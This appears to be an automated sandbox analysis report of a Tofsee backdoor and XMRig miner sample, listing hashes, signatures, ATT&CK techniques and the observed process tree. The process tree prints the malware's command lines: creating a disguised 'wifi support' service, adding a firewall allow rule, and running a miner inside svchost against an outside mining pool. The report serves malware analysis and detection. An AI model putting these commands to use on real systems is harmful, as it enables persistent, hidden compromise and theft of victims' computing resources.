Resubmissions

23-01-2023 11:03

230123-m5z6eaef4s 10

09-05-2020 13:43

200509-9mgqkb9xn6 10

Analysis

  • max time kernel
    154s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    09-05-2020 13:43

General

  • Target

    supvobl.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wuvoqfau\
      2⤵
        PID:308
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rtounak.exe" C:\Windows\SysWOW64\wuvoqfau\
        2⤵
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wuvoqfau binPath= "C:\Windows\SysWOW64\wuvoqfau\rtounak.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1836
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description wuvoqfau "wifi internet conection"
            2⤵
              PID:1768
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start wuvoqfau
              2⤵
                PID:476
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:996
            • C:\Windows\SysWOW64\wuvoqfau\rtounak.exe
              C:\Windows\SysWOW64\wuvoqfau\rtounak.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1456
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1800
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe --algo=cn-heavy/tube -o tube.pool.gntl.co.uk:8080 -u bs3DRuaSUbRjZ3zryBKc1bUv4dxVdTewBfJBQcrHkbC5g4x3pc2QSnebvXwfi3DRoFNFLExjV8MDwBCgejSS6bcr2xFUqWnXA+58000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2016

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\rtounak.exe
              MD5

              ff1366a222c989b65e0728131eb7f1f1

              SHA1

              70f23ef4a163005b24888da727db5ecd7af723b3

              SHA256

              9ee22c087b49ba1b8fbdf344a201cdcae7c96a886e0467fae74015f974d286c2

              SHA512

              1cfca4bc47c5f2ff97f13306f78e6690b5d23a0c63f1bc376af3a6d16ac60316581e499e5c9657d351087192b587578d9065b54511be46d31ee04d5562b69572

            • C:\Windows\SysWOW64\wuvoqfau\rtounak.exe
              MD5

              ff1366a222c989b65e0728131eb7f1f1

              SHA1

              70f23ef4a163005b24888da727db5ecd7af723b3

              SHA256

              9ee22c087b49ba1b8fbdf344a201cdcae7c96a886e0467fae74015f974d286c2

              SHA512

              1cfca4bc47c5f2ff97f13306f78e6690b5d23a0c63f1bc376af3a6d16ac60316581e499e5c9657d351087192b587578d9065b54511be46d31ee04d5562b69572

            • memory/1456-4-0x0000000002F1A000-0x0000000002F1B000-memory.dmp
              Filesize

              4KB

            • memory/1456-5-0x0000000003200000-0x0000000003211000-memory.dmp
              Filesize

              68KB

            • memory/1472-0-0x00000000002AA000-0x00000000002AB000-memory.dmp
              Filesize

              4KB

            • memory/1472-1-0x0000000002FE0000-0x0000000002FF1000-memory.dmp
              Filesize

              68KB

            • memory/1800-6-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/1800-8-0x0000000001C80000-0x0000000001E8F000-memory.dmp
              Filesize

              2.1MB

            • memory/1800-9-0x00000000000A0000-0x00000000000A6000-memory.dmp
              Filesize

              24KB

            • memory/1800-10-0x0000000000280000-0x0000000000290000-memory.dmp
              Filesize

              64KB

            • memory/1800-11-0x0000000000350000-0x0000000000355000-memory.dmp
              Filesize

              20KB

            • memory/1800-12-0x00000000059D0000-0x0000000005DDB000-memory.dmp
              Filesize

              4.0MB

            • memory/1800-13-0x0000000000360000-0x0000000000367000-memory.dmp
              Filesize

              28KB

            • memory/2016-14-0x0000000000080000-0x0000000000171000-memory.dmp
              Filesize

              964KB

            • memory/2016-15-0x0000000000080000-0x0000000000171000-memory.dmp
              Filesize

              964KB